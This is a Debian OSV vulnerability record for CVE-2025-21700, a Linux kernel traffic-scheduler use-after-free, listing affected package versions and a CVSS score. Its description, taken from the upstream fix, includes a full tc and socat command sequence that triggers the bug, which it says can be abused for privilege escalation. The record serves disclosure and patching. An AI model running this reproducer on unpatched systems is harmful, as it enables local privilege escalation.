{"id":"DEBIAN-CVE-2025-21700","details":"In the Linux kernel, the following vulnerability has been resolved:  net: sched: Disallow replacing of child qdisc from one parent to another  Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script  Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr  step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr  step3. a class for nesting tc class add dev lo classid 1:2 drr  step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr  step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024  step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr  step7. tc class add dev lo classid 3:1 drr  step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo  step 9. Display the class/qdisc layout  tc class ls dev lo  class drr 1:1 root leaf 2: quantum 64Kb  class drr 1:2 root leaf 3: quantum 64Kb  class drr 3:1 root leaf 4: quantum 64Kb  tc qdisc ls  qdisc drr 1: dev lo root refcnt 2  qdisc plug 2: dev lo parent 1:1  qdisc pfifo 4: dev lo parent 3:1 limit 1000p  qdisc drr 3: dev lo parent 1:2  step10. trigger the bug \u003c=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0  step 11. Redisplay again the qdiscs/classes  tc class ls dev lo  class drr 1:1 root leaf 2: quantum 64Kb  class drr 1:2 root leaf 3: quantum 64Kb  class drr 1:3 root leaf 4: quantum 64Kb  class drr 3:1 root leaf 4: quantum 64Kb  tc qdisc ls  qdisc drr 1: dev lo root refcnt 2  qdisc plug 2: dev lo parent 1:1  qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p  qdisc drr 3: dev lo parent 1:2  Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent.  b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.  Step 12.  send one packet to plug echo \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13.  send one packet to the grafted fifo echo \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))  step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1  The semantics of \"replace\" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could \"fix\" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of \"disallow such config\".  Joint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e","modified":"2026-09-01T16:06:09.750092881Z","published":"2025-02-13T12:15:27.837Z","upstream":["CVE-2025-21700"],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2025-21700"}],"affected":[{"package":{"name":"linux","ecosystem":"Debian:12","purl":"pkg:deb/debian/linux?arch=source&distro=bookworm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.129-1"}]}],"versions":["6.1.106-1","6.1.106-2","6.1.106-3","6.1.112-1","6.1.115-1","6.1.119-1","6.1.123-1","6.1.124-1","6.1.128-1","6.1.27-1","6.1.37-1","6.1.38-1","6.1.38-2","6.1.38-2~bpo11+1","6.1.38-3","6.1.38-4","6.1.38-4~bpo11+1","6.1.52-1","6.1.55-1","6.1.55-1~bpo11+1","6.1.64-1","6.1.66-1","6.1.67-1","6.1.69-1","6.1.69-1~bpo11+1","6.1.76-1","6.1.76-1~bpo11+1","6.1.82-1","6.1.85-1","6.1.90-1","6.1.90-1~bpo11+1","6.1.94-1","6.1.94-1~bpo11+1","6.1.98-1","6.1.99-1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/osv-test-debian-osv/debian-cve-osv/DEBIAN-CVE-2025-21700.json"}},{"package":{"name":"linux","ecosystem":"Debian:13","purl":"pkg:deb/debian/linux?arch=source&distro=trixie"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.12.13-1"}]}],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/osv-test-debian-osv/debian-cve-osv/DEBIAN-CVE-2025-21700.json"}},{"package":{"name":"linux","ecosystem":"Debian:14","purl":"pkg:deb/debian/linux?arch=source&distro=forky"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.12.13-1"}]}],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/osv-test-debian-osv/debian-cve-osv/DEBIAN-CVE-2025-21700.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}